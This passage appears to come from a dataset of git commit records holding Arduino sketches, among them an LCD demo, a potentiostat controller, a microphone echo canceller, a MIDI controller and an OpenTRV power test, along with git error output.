\/\/move string to right\n {\n mydisp.setPrintPos(i, 1);\n mydisp.print(\" Hello \");\n delay(100); \/\/delay 100ms\n }\n for (uint8_t i = 0; i < 10; i++) \/\/move string to left\n {\n mydisp.setPrintPos(9 - i, 1);\n mydisp.print(\" Hello \");\n delay(100);\n }\n }\n mydisp.print(\"Enjoy it!\");\n mydisp.enableCursor(); \/\/enable cursor\n}\n\nvoid resetpos(void) \/\/for demo use, reset display position and clean the demo line\n{\n mydisp.setPrintPos(0, 1);\n delay(2000); \/\/delay 2 seconds\n mydisp.println(\" \"); \/\/display space, use to clear the demo line\n mydisp.setPrintPos(0, 1);\n}\nvoid loop() {\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/digole_UART_20x4_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dc5078fa4b8b28db9b7bdf84ceca5ddf582f4a27","subject":"main firmware file","message":"main firmware file\n","repos":"p-v-o-s\/olm-pstat,p-v-o-s\/olm-pstat","old_file":"arduino\/controller\/controller.ino","new_file":"arduino\/controller\/controller.ino","new_contents":"\/*\n Created by Craig Wm. Versek, 2013-08-09\n Released into the public domain.\n*\/\n\n#include <SPI.h>\n#include <MCP4921_DAC12bit.h>\n#include <MCP320x_ADC12bit.h>\n\/\/3rd Party Libraries\n#include <SerialCommand.h>\n\n#define V_REF 3.29\n#define V_VGND V_REF\/2.0\n#define R_CURRSENSE 1000.0\n\n#define DELTA_V 0.1\n#define V_MIN (-V_REF\/2.0 + DELTA_V)\n#define V_MAX ( V_REF\/2.0 - DELTA_V)\n#define NUM_STEPS 100\n#define DELAY_ms 100\n\n\/\/SerialCommand parser\nSerialCommand SCmd;\n\n\/\/configure the DAC chip\nMCP4921_DAC12bitClass control_DAC(3, \/\/slaveSelectLowPin\n 3, \/\/ldacLowPin\n V_VGND \/\/reference voltage at mid-scale\n );\n\/\/configure the ADC chip\nMCP320x_ADC12bitClass sense_ADC(5, \/\/slaveSelectLowPin\n V_REF \/\/reference voltage at full-scale\n );\n\n\nvoid setup() {\n Serial.begin(9600);\n \/\/configure the serial commands\n SCmd.addCommand(\"VCTRL\", setControlVoltageCommand);\n SCmd.addCommand(\"VSWEEP\", doSweepCommand);\n SCmd.setDefaultHandler(unrecognizedCommand);\n \/\/start up the SPI bus\n SPI.begin();\n SPI.setBitOrder(MSBFIRST);\n SPI.setDataMode(SPI_MODE0);\n \/\/start controlling the voltage supply\n control_DAC.begin();\n \/\/start controlling the sampling\n sense_ADC.begin();\n}\n\nvoid loop() {\n \/\/process serial commands\n SCmd.readSerial();\n}\n\nvoid doSweep() {\n float voltage_step = (V_MAX - V_MIN)\/NUM_STEPS;\n float control_voltage; \/\/referenced to V_VGND\n float RE_voltage; \/\/referenced to power rails\n float WEtoRE_voltage; \/\/WE voltage referenced to RE\n float WE_current_sense_voltage; \/\/voltage across current follower sense resistor, ref. to power rails\n float WE_current; \/\/compute current into WE\n Serial.println(\"#BEGIN VSWEEP\");\n Serial.println(\"#COLUMNS control_voltage,WEtoRE_voltage,currentWE_in\");\n for (int i=0; i <= NUM_STEPS; i++){\n control_voltage = V_MIN + voltage_step*i;\n \/\/change output voltage\n control_DAC.setVoltageOutput(V_REF - (control_voltage + V_VGND)); \/\/shift to center-rail and invert\n \/\/wait for settling\n delay(DELAY_ms);\n \/\/read signals\n RE_voltage = sense_ADC.readSingle(0);\n WE_current_sense_voltage = sense_ADC.readSingle(1);\n \/\/convert to centerline voltage and correct for inversion\n WEtoRE_voltage = (RE_voltage - V_VGND);\n WE_current = -(WE_current_sense_voltage - V_VGND)\/R_CURRSENSE;\n \/\/format as YAML\n Serial.print(control_voltage, 6);\n Serial.print(',');\n Serial.print(WEtoRE_voltage, 6);\n Serial.print(',');\n Serial.print(WE_current, 6);\n Serial.print('\\n');\n \/\/while (Serial.read() != '\\n'){};\n }\n Serial.println(\"#END VSWEEP\");\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/COMMAND HANDLER FUNCTIONS - called by the SCmd dispatcher\n\nvoid setControlVoltgeCommand(){\n float control_voltage;\n char *arg;\n arg = SCmd.next();\n if (arg != NULL)\n {\n control_voltage = atof(arg);\n control_DAC.setVoltageOutput(V_REF - (control_voltage + V_VGND)); \/\/shift to center-rail and invert\n }\n else\n {\n Serial.println(\"### Error: VCTRL requires 1 argument (float control_voltage) ###\");\n }\n}\n\nvoid doSweepCommand(){\n char *arg;\n arg = SCmd.next();\n if (arg != NULL)\n {\n Serial.println(\"### Error: VSWEEP requires 0 arguments ###\");\n }\n else\n {\n doSweep();\n }\n}\n\nvoid unrecognizedCommand(const char *command)\n{\n Serial.println(\"### Error: command not recognized ###\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/controller\/controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"44262a9233d8f12b28c8f504ad3e3bbd5e3392c0","subject":"dedicated coil-pin 9 and 8","message":"dedicated coil-pin 9 and 8\n","repos":"radionics\/OpenSourceRadionics,radionics\/OpenSourceRadionics,radionics\/OpenSourceRadionics,radionics\/OpenSourceRadionics","old_file":"software\/arduino\/AetherOneForArduinoV2.0\/AetherOneForArduinoV2.0.ino","new_file":"software\/arduino\/AetherOneForArduinoV2.0\/AetherOneForArduinoV2.0.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/radionics\/OpenSourceRadionics.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9acbdc46b0cfd1bb491b751117edc4b5e86089c7","subject":"Added files via upload","message":"Added files via upload","repos":"kfillerup\/NLMS_AEC,kfillerup\/NLMS_AEC","old_file":"NLMS_AEC\/MicAquire_Rev9.ino.ino","new_file":"NLMS_AEC\/MicAquire_Rev9.ino.ino","new_contents":"\n\/\/ \n\/\/ Microphone to Speaker output\n#define NUMEL(x) (sizeof(x)\/sizeof((x)[0])) \/\/ retuns\/calculates the size of an array\n\n#include \"NLMS2.h\"\n#include <Audio.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <SD.h>\n#include <SerialFlash.h>\n\n\/\/*****functions**********\nvoid getBuffer1();\nvoid playData();\nvoid displayData();\nvoid NLMS_AEC1();\nint64_t dotp();\n\n\n\/\/ GUItool: begin automatically generated code\nAudioInputI2S Mic; \/\/microphone\nAudioPlayQueue MicMem; \/\/queue for microphone\nAudioRecordQueue Memory;\nAudioOutputI2S headphones; \/\/output\nAudioConnection patchCord1(Mic, 0, Memory, 0);\nAudioConnection patchCord2(MicMem, 0, headphones,0);\nAudioConnection patchCord3(MicMem, 0, headphones,1);\nAudioControlSGTL5000 sgtl5000_1; \/\/xy=339.6666564941406,285.6666488647461\n\nconst int numBlocks = 8; \/\/min block size is 2!!!!!!\nconst int lFilt = numBlocks-1;\nconst int gg = lFilt*128;\nint16_t *pAddr; \/\/pointer to 128 block of getBuffer\nint16_t lblock = numBlocks*128; \/\/length of arrays\nint16_t ablock[128*numBlocks]; \/\/ set an array block\nint16_t error[128]; \nint16_t *Perror;\nint16_t *pablock; \/\/ pointer to an array block\nint16_t *pp; \/\/ pointer to getBuffer\nint n;\nunsigned long time1; \/\/ time variable\n\n\n\/\/***************NMLS const and settings*************************\nconst int16_t numTaps = gg;\nint64_t mu = 1;\nint32_t mu0 = 0;\nint8_t psi = 1;\nint32_t w[numTaps];\nint32_t *pw; \/\/ pointer to w \nint16_t yhat = 0;\n\/\/int64_t xtdl = 1;\nint16_t y12 = gg\/2;\nint i = 0;\n\n\/\/define input\/source\nconst int micInput = AUDIO_INPUT_MIC;\n\nvoid setup() {\n mu = 34359738368*mu; \/\/ scale mu \n memset(w,0,numTaps);\n memset(ablock,100,128*numBlocks*2);\n memset(error,0,128*2);\n \/\/initialize pointers for NLMS\n pw = w;\n Perror = error;\n Serial.begin(9600); \/\/ initiate baud rate for serial comm.\n AudioMemory(8); \/\/ allocate # of audio memory (each block has 128 sample of data)\n sgtl5000_1.enable(); \/\/ enalbe \n sgtl5000_1.volume(0.5); \/\/ output volume\n sgtl5000_1.inputSelect(micInput); \/\/input selection (mic or line in)\n sgtl5000_1.micGain(30); \/\/ mic gain\n \/\/set array values to zero\n pablock = ablock; \/\/ assign pointer to array\n delay(1000);\n}\n\n\n\/\/***************************MAIN LOOP********************************************************************\nvoid loop() {\nSerial.println(micros()); \/\/ print time \ngetBuffer1(numBlocks); \/\/returns pointer to the buffered dat\n\/\/print sample to serial plotter \n\/\/displayData(pablock); \/\/ print data to serial plotter\n\/\/NLMS_AEC(pablock,pablock);\n\/\/NLMS_AEC(pablock,pablock,Perror,pw,gg,mu,4,pxtdl);\n\/\/for(int i = gg; i<gg+128;i+=1){\n\/\/ Serial.println(ablock[i]);\n\/\/}\n}\n\n\n\/\/*********************************************************************************************************\n\/\/ print data to serial plotter\nvoid displayData(int16_t * data){\n for(int i = 0; i<128*numBlocks;i++){\n Serial.println(*(data+i));\n }\n}\n\/\/ play data to speaker\nvoid playData(void){\n pAddr = MicMem.getBuffer(); \/\/get pointer to 128 array playBuffer \n \/\/ take one block from buffer array (ablock) and copy it to playBuffer pointer\n \/\/ play that block\n memcpy((byte*)pAddr,(byte*)error,256);\n MicMem.playBuffer();\n}\n\n\/\/ buffer an array with samples from Microphone\n\/\/ function receives and array and integer indicating number of blocks\nvoid getBuffer1(int x){\n Memory.begin(); \/\/ begin putting sample data into memory\n int l = 0;\n memcpy((byte*)pablock,(byte*)pablock+256,256*(x-1));\n \/\/ put 128 blocks of sample into an array size of 128*(number of blocks)\n while(l == 0){ \/\/ wait until block samples are available\n if(Memory.available() ==1) {\/\/ if availabe copy 128 block to array and get out of while loop \n \/\/read one 128 block of samples and copy it into array\n memcpy((byte*)pablock+(256*(x-1)),Memory.readBuffer(),256);\n Memory.freeBuffer(); \/\/ free buffer memory\n l = 1; \/\/ set n to 1 to get out of while loop\n }\/\/end if \n }\/\/end while \n l = 0;\n Memory.clear(); \/\/ clear all audio memory \n Memory.end();\n NLMS_AEC(pablock,pablock,Perror,pw,gg,mu,5,1);\n playData(); \/\/ play 128 block from buffered array\n\/\/ return ablock; \/\/ regurn pointer to array\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NLMS_AEC\/MicAquire_Rev9.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39edf3b45df9da0255a4a84876d221afcc244774","subject":"Create USB_PS3_Example.ino","message":"Create USB_PS3_Example.ino","repos":"nitricx\/Tank_Automation","old_file":"USB_PS3_Example.ino","new_file":"USB_PS3_Example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nitricx\/Tank_Automation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6fa7a5b209586c095aac673cd7803ebcb96553d1","subject":"midicontroller1","message":"midicontroller1\n\nfirst shot at a homebrew controller","repos":"chbw\/sketchbook","old_file":"midicontroller1\/midicontroller1.ino","new_file":"midicontroller1\/midicontroller1.ino","new_contents":"#include <Encoder.h> \/\/ Include the Encoder library.\n\/\/ This must be done before the Control Surface library.\n#include <Control_Surface.h> \/\/ Include the Control Surface library\n\n\nUSBMIDI_Interface midi;\n\n\n\n\n\/\/ Instantiate a CCButton object\nCCButton button = {\n \/\/ Push button on pin 5:\n 5,\n \/\/ General Purpose Controller #1 on MIDI channel 1:\n {MIDI_CC::General_Purpose_Controller_5, CHANNEL_1},\n};\n\n\n\n\n\/\/ Instantiate a CCRotaryEncoder object\nCCRotaryEncoder enc = {\n {2, 3}, \/\/ pins\n MCU::V_POT_4, \/\/ MIDI address (CC number + optional channel)\n 1, \/\/ optional multiplier if the control isn't fast enough\n};\n\n\n\n\/\/ Instantiate a CCPotentiometer object\nCCPotentiometer potentiometer0 = {\n A0, \/\/ Analog pin connected to potentiometer\n {MIDI_CC::Channel_Volume, CHANNEL_1}, \/\/ Channel volume of channel 1\n};\nCCPotentiometer potentiometer1 = {\n A1, \/\/ Analog pin connected to potentiometer\n {MIDI_CC::General_Purpose_Controller_1, CHANNEL_1}, \/\/ General_Purpose_Controller_1 of channel 1\n};\nCCPotentiometer potentiometer2 = {\n A2, \/\/ Analog pin connected to potentiometer\n {MIDI_CC::General_Purpose_Controller_2, CHANNEL_1}, \/\/ General_Purpose_Controller_2 of channel 1\n};\nCCPotentiometer potentiometer3 = {\n A3, \/\/ Analog pin connected to potentiometer\n {MIDI_CC::General_Purpose_Controller_3, CHANNEL_1}, \/\/ General_Purpose_Controller_3 of channel 1\n};\n\n\n\n\/\/ The note numbers corresponding to the buttons in the matrix\nconst int noteOffset = 36;\nconst AddressMatrix<4, 3> addresses = {{\n {72-noteOffset, 73-noteOffset, 74-noteOffset},\n {75-noteOffset, 76-noteOffset, 77-noteOffset},\n {78-noteOffset, 79-noteOffset, 80-noteOffset},\n {81-noteOffset, 82-noteOffset, 83-noteOffset},\n}};\n\nNoteButtonMatrix<4, 3> buttonmatrix = {\n {10, 16, 14, 15}, \/\/ row pins\n {9, 8, 7}, \/\/ column pins\n addresses, \/\/ address matrix\n CHANNEL_1, \/\/ channel and cable number\n};\n\n\nanalog_t reversePot(analog_t raw) {\n \/\/ map the value from [minimumValue, maximumValue] to [0, 16383]\n return map(raw, 0, 16383, 16383, 0);\n}\n\nvoid setup() {\n potentiometer0.map(reversePot);\n potentiometer1.map(reversePot);\n potentiometer2.map(reversePot);\n potentiometer3.map(reversePot);\n\n \/\/ Select the correct relative MIDI CC mode.\n \/\/ Options:\n \/\/ - TWOS_COMPLEMENT (default)\n \/\/ - BINARY_OFFSET\n \/\/ - SIGN_MAGNITUDE\n \/\/ Aliases:\n \/\/ - REAPER_RELATIVE_1\n \/\/ - REAPER_RELATIVE_2\n \/\/ - REAPER_RELATIVE_3\n \/\/ - TRACKTION_RELATIVE\n \/\/ - MACKIE_CONTROL_RELATIVE\n RelativeCCSender::setMode(relativeCCmode::MACKIE_CONTROL_RELATIVE);\n Control_Surface.begin();\n}\n\nvoid loop() {\n Control_Surface.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'midicontroller1\/midicontroller1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"247f994428f6c923211f1f9363f9582d23321fae","subject":"Created automatic switch example","message":"Created automatic switch example\n","repos":"lucamora\/particle-dst","old_file":"examples\/auto_switch\/auto_switch.ino","new_file":"examples\/auto_switch\/auto_switch.ino","new_contents":"#include \"particle-dst.h\"\n\nDST dst;\n\ndst_limit_t beginning;\ndst_limit_t end;\n\nvoid setup() {\n Serial.begin(9600);\n\n beginning.hour = 2;\n beginning.day = 3; \/\/ tuesday\n beginning.month = 2; \/\/ february\n beginning.occurrence = 2;\n\n end.hour = 3;\n end.day = 4; \/\/ wednesday\n end.month = 10; \/\/ october\n end.occurrence = 2;\n\n dst.begin(beginning, end, 1);\n dst.automatic(true);\n}\n\nvoid loop() {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/auto_switch\/auto_switch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f377d6096662c2d62a8774a18ff64ce4c410da93","subject":"Add IR sensor readings","message":"Add IR sensor readings\n\nDistance (in centimeters) read by IR sensor","repos":"tms1337\/inverted-pendulum","old_file":"DCMotorTest.ino","new_file":"DCMotorTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tms1337\/inverted-pendulum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bf7f0e56fa5abe404651ac37ab3e608e13debe24","subject":"REV11 minimal test ","message":"REV11 minimal test ","repos":"opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2","old_file":"Arduino\/hardware\/REV11\/testsuite\/20170110\/REV11Minimal\/REV11Minimal.ino","new_file":"Arduino\/hardware\/REV11\/testsuite\/20170110\/REV11Minimal\/REV11Minimal.ino","new_contents":"\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Deniz Erbilgin 2017\n*\/\n\/**\n * Minimal REV11 config for testing power consumption.\n * Aim is to:\n * - init GPIO pins to safe mode.\n * - init peripherals to safe low power mode.\n * - loop endlessly.\n *\/\n\n\/\/ INCLUDES & DEFINES\n\/\/ Debug output flag\n#define DEBUG\n\/\/ REV11 as Sensor with secure TX.\n#define CONFIG_REV11_SECURE_SENSOR \/\/XXX\n\/\/ Get defaults for valve applications.\n#include <OTV0p2_valve_ENABLE_defaults.h>\n\/\/ All-in-one valve unit (DORM1).\n#include <OTV0p2_CONFIG_REV11.h>\n\/\/ I\/O pin allocation and setup: include ahead of I\/O module headers.\n#include <OTV0p2_Board_IO_Config.h>\n\/\/ OTV0p2Base Libraries\n#include <OTV0p2Base.h>\n\/\/ Radio Libraries\n\/\/#include <OTRadioLink.h>\n#include <OTRFM23BLink.h>\n\/\/ RadValve libraries\n#include <OTRadValve.h>\n\n\n\/\/ Debugging output\n#ifndef DEBUG\n#define DEBUG_SERIAL_PRINT(s) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTFMT(s, format) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN() \/\/ Do nothing.\n#define DEBUG_SERIAL_TIMESTAMP() \/\/ Do nothing.\n#else\n\/\/ Send simple string or numeric to serial port and wait for it to have been sent.\n\/\/ Make sure that Serial.begin() has been invoked, etc.\n#define DEBUG_SERIAL_PRINT(s) { OTV0P2BASE::serialPrintAndFlush(s); }\n#define DEBUG_SERIAL_PRINTFMT(s, fmt) { OTV0P2BASE::serialPrintAndFlush((s), (fmt)); }\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) { OTV0P2BASE::serialPrintAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) { OTV0P2BASE::serialPrintlnAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN() { OTV0P2BASE::serialPrintlnAndFlush(); }\n\/\/ Print timestamp with no newline in format: MinutesSinceMidnight:Seconds:SubCycleTime\nextern void _debug_serial_timestamp();\n#define DEBUG_SERIAL_TIMESTAMP() _debug_serial_timestamp()\n#endif \/\/ DEBUG\n\n\/\/ OBJECTS & VARIABLES\n\/**\n * Peripherals present on REV7\n * - Pot Set input to Hi-Z? +\n * - PHT IO_POWER_UP LOW\n * - Encoder IO_POWER_UP LOW\n * - LED Set pin HIGH?\n * - Button Set to INPUT\n * - H-Bridge Control pins HIGH, Current sense set to input. +\n * - SHT21 read() once. +\n * - RFM23B ?? +\n * - XTAL Setup and leave running?\n * - UART Disable\n *\/\n\n\/**\n * Dummy Types\n *\/\n\/\/ Placeholder class with dummy static status methods to reduce code complexity.\ntypedef OTV0P2BASE::DummySensorOccupancyTracker OccupancyTracker;\n\n\/**\n * Supply Voltage instance\n *\/\n\/\/ Sensor for supply (eg battery) voltage in millivolts.\n\/\/ Singleton implementation\/instance.\nOTV0P2BASE::SupplyVoltageCentiVolts Supply_cV;\n\n\/*\n * Radio instance\n *\/\nstatic constexpr bool RFM23B_allowRX = false;\n \nstatic constexpr uint8_t RFM23B_RX_QUEUE_SIZE = OTRFM23BLink::DEFAULT_RFM23B_RX_QUEUE_CAPACITY;\nstatic constexpr int8_t RFM23B_IRQ_PIN = -1;\/\/ PIN_RFM_NIRQ;\nOTRFM23BLink::OTRFM23BLink<OTV0P2BASE::V0p2_PIN_SPI_nSS, RFM23B_IRQ_PIN, RFM23B_RX_QUEUE_SIZE, RFM23B_allowRX> PrimaryRadio;\n\/\/ Pick an appropriate radio config for RFM23 (if it is the primary radio).\n\/\/ Nodes talking on fast GFSK channel 0.\nstatic const uint8_t nPrimaryRadioChannels = 1;\nstatic const OTRadioLink::OTRadioChannelConfig RFM23BConfigs[nPrimaryRadioChannels] = {\n \/\/ GFSK channel 0 full config, RX\/TX, not in itself secure.\n OTRadioLink::OTRadioChannelConfig(OTRFM23BLink::StandardRegSettingsGFSK57600, true), };\n\n\/*\n * SHT21 instance\n *\/\nOTV0P2BASE::RoomTemperatureC16_SHT21 TemperatureC16; \/\/ SHT21 impl.\n\n\/\/ HUMIDITY_SENSOR_SUPPORT is defined if at least one humidity sensor has support compiled in.\n\/\/ Simple implementations can assume that the sensor will be present if defined;\n\/\/ more sophisticated implementations may wish to make run-time checks.\n\/\/ If SHT21 support is enabled at compile-time then its humidity sensor may be used at run-time.\n\/\/ Singleton implementation\/instance.\ntypedef OTV0P2BASE::HumiditySensorSHT21 RelHumidity_t;\nRelHumidity_t RelHumidity;\n\n\/**\n * Ambient Light Sensor\n *\/\ntypedef OTV0P2BASE::SensorAmbientLight AmbientLight;\n\/\/ Singleton implementation\/instance.\nAmbientLight AmbLight;\n\n\/\/ FUNCTIONS\n\n\/**\n * Panic Functions\n *\/\n\/\/ Indicate that the system is broken in an obvious way (distress flashing the main LED).\n\/\/ DOES NOT RETURN.\n\/\/ Tries to turn off most stuff safely that will benefit from doing so, but nothing too complex.\n\/\/ Tries not to use lots of energy so as to keep distress beacon running for a while.\nvoid panic()\n{\n \/\/ Reset radio and go into low-power mode.\n PrimaryRadio.panicShutdown();\n \/\/ Power down almost everything else...\n OTV0P2BASE::minimisePowerWithoutSleep();\n pinMode(OTV0P2BASE::LED_HEATCALL_L, OUTPUT);\n for( ; ; )\n {\n OTV0P2BASE::LED_HEATCALL_ON();\n OTV0P2BASE::nap(WDTO_15MS);\n OTV0P2BASE::LED_HEATCALL_OFF();\n OTV0P2BASE::nap(WDTO_120MS);\n }\n}\n\/\/ Panic with fixed message.\nvoid panic(const __FlashStringHelper *s)\n{\n OTV0P2BASE::serialPrintlnAndFlush(); \/\/ Start new line to highlight error. \/\/ May fail.\n OTV0P2BASE::serialPrintAndFlush('!'); \/\/ Indicate error with leading '!' \/\/ May fail.\n OTV0P2BASE::serialPrintlnAndFlush(s); \/\/ Print supplied detail text. \/\/ May fail.\n panic();\n}\n\n\n\/**\n * @brief Set pins and on-board peripherals to safe low power state.\n *\/\n\n\n\/\/========================================\n\/\/ SETUP\n\/\/========================================\n\n\/\/ Setup routine: runs once after reset.\n\/\/ Does some limited board self-test and will panic() if anything is obviously broken.\nvoid setup()\n{\n \/\/ Set appropriate low-power states, interrupts, etc, ASAP.\n OTV0P2BASE::powerSetup();\n \/\/ IO setup for safety, and to avoid pins floating.\n OTV0P2BASE::IOSetup();\n\n OTV0P2BASE::serialPrintAndFlush(F(\"\\r\\nOpenTRV: \")); \/\/ Leading CRLF to clear leading junk, eg from bootloader.\n V0p2Base_serialPrintlnBuildVersion();\n\n OTV0P2BASE::LED_HEATCALL_ON();\n\n \/\/ Give plenty of time for the XTal to settle.\n delay(1000);\n\n \/\/ Have 32678Hz clock at least running before going any further.\n \/\/ Check that the slow clock is running reasonably OK, and tune the fast one to it.\n if(!::OTV0P2BASE::HWTEST::calibrateInternalOscWithExtOsc()) { panic(F(\"Xtal\")); } \/\/ Async clock not running or can't tune.\n\/\/ if(!::OTV0P2BASE::HWTEST::check32768HzOsc()) { panic(F(\"xtal\")); } \/\/ Async clock not running correctly.\n\n \/\/ Initialise the radio, if configured, ASAP because it can suck a lot of power until properly initialised.\n PrimaryRadio.preinit(NULL);\n \/\/ Check that the radio is correctly connected; panic if not...\n if(!PrimaryRadio.configure(nPrimaryRadioChannels, RFM23BConfigs) || !PrimaryRadio.begin()) { panic(F(\"r1\")); }\n\n \/\/ Collect full set of environmental values before entering loop() in normal mode.\n \/\/ This should also help ensure that sensors are properly initialised.\n\n \/\/ No external sensors are *assumed* present if running alt main loop\n \/\/ This may mean that the alt loop\/POST will have to initialise them explicitly,\n \/\/ and the initial seed entropy may be marginally reduced also.\n const int cV = Supply_cV.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"V: \");\n DEBUG_SERIAL_PRINT(cV);\n DEBUG_SERIAL_PRINTLN();\n const int heat = TemperatureC16.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"T: \");\n DEBUG_SERIAL_PRINT(heat);\n DEBUG_SERIAL_PRINTLN();\n const uint8_t rh = RelHumidity.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"RH%: \");\n DEBUG_SERIAL_PRINT(rh);\n DEBUG_SERIAL_PRINTLN();\n const int light = AmbLight.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"L: \");\n DEBUG_SERIAL_PRINT(light);\n DEBUG_SERIAL_PRINTLN();\n\n \/\/ Initialised: turn main\/heatcall UI LED off.\n OTV0P2BASE::LED_HEATCALL_OFF();\n\n \/\/ Do OpenTRV-specific (late) setup.\n PrimaryRadio.listen(false);\n\n \/\/ Long delay after everything set up to allow a non-sleep power measurement.\n delay(10000);\n}\n\n\n\/\/========================================\n\/\/ MAIN LOOP\n\/\/========================================\n\/**\n * @brief Sleep in low power mode if not sleeping.\n *\/\nvoid loop()\n{\n \/\/ Ensure that serial I\/O is off while sleeping.\n OTV0P2BASE::powerDownSerial();\n \/\/ Power down most stuff (except radio for hub RX).\n OTV0P2BASE::minimisePowerWithoutSleep();\n \/\/ Normal long minimal-power sleep until wake-up interrupt.\n \/\/ Rely on interrupt to force quick loop round to I\/O poll.\n OTV0P2BASE::sleepUntilInt();\n}\n\n\n\n\/**\n * @note Power consumption figures (all in mA).\n * Date\/commit: Device: Wake (Sleep) @ Voltage\n * 20161111\/0e6ec96 REV7: 1.5 (1.1) @ 2.5 V REV11: 0.45 (0.03) @ 2.5 V\n * 20161111\/f2eed5e REV7: 0.46 (0.04) @ 2.5 V\n *\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/hardware\/REV11\/testsuite\/20170110\/REV11Minimal\/REV11Minimal.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e2fa11e8321a63f22a016f922fbd2ab78e993da9","subject":"upload utilities folder","message":"upload utilities folder\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"utils\/TestLCDdim\/TestLCDdim.ino","new_file":"utils\/TestLCDdim\/TestLCDdim.ino","new_contents":"\/\/ test LCD screen dimensions with 2 pots connected on A0 and A1 (x, y)\n\n#include <UTFT.h>\n#define DEBUG 0\n\n\nint x, y;\n\nUTFT lcd(CTE32HR,38,39,40,41);\n\nvoid setup(){\n lcd.InitLCD();\n if(DEBUG)Serial.begin(9600);\n lcd.fillScr(VGA_BLACK);\n}\n\nvoid loop(){\n x = analogRead(A0);\n y = analogRead(A1);\n \n if(DEBUG){\n Serial.print(\"x: \");\n Serial.print(x);\n Serial.print(\" | y: \");\n Serial.println(y);\n }\n \n \n\/\/ lcd.fillScr(VGA_BLACK);\n \/\/lcd.clrScr();\n lcd.setColor(VGA_GREEN);\n lcd.fillRect(0, 0, x, y);\n \n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/TestLCDdim\/TestLCDdim.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fa2939a8cc9044901d6b87e4394cbc32cfdc2ad5","subject":"Integrated bucket wheel driver code into Ros","message":"Integrated bucket wheel driver code into Ros\n","repos":"MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot","old_file":"src\/BucketWheelDriver\/BucketWheelDriver.ino","new_file":"src\/BucketWheelDriver\/BucketWheelDriver.ino","new_contents":"\/* BucketWheelActuationDriver\nAuthors: Derek Schumacher, Fatima Dominguez, Jaimiey Sears\nBegins by assuming the bucket wheel is at its lowest point (100%)\nThe user can specify a percentage to actuate to (0-100%)\nThe circuit uses HSI power screws and Microstep Driver- M6128 :\nDIP Switch: [111001] (1 = down, 0 = up)\n[current: 1.25; Microstep = 1 (Full-step)]\nSend an 's' or 'S' to e-stop screw movement\nThe wiring scheme for the HSI power screws:\nRed (A+)\nRed\/White (A-)\nGreen (B+)\nGreen\/white (B-)\nPUL+ (pin 9)\nDIR+ (pin 8)\nPUL- and DIR- grounded\nENA+ connected to ground\nENA- connected to pin 10 (+5V when turning, otherwise 0V)\n*\/\n\n#include <ros.h>\n#include <std_msgs\/Int16.h>\n\n#define ERROR_OUT_OF_RANGE -1\n\nint DIRECTION_PIN = 8;\nint PULSE_PIN = 9;\nint ENABLE = 10;\n\n\/\/31914 steps translates to roughly (under) 100% top to bottom\n#define FULL_STEPS 31914\n\/\/int stepCount = 0;\nint desiredPercent = 0;\n\n\/\/double onePercent = 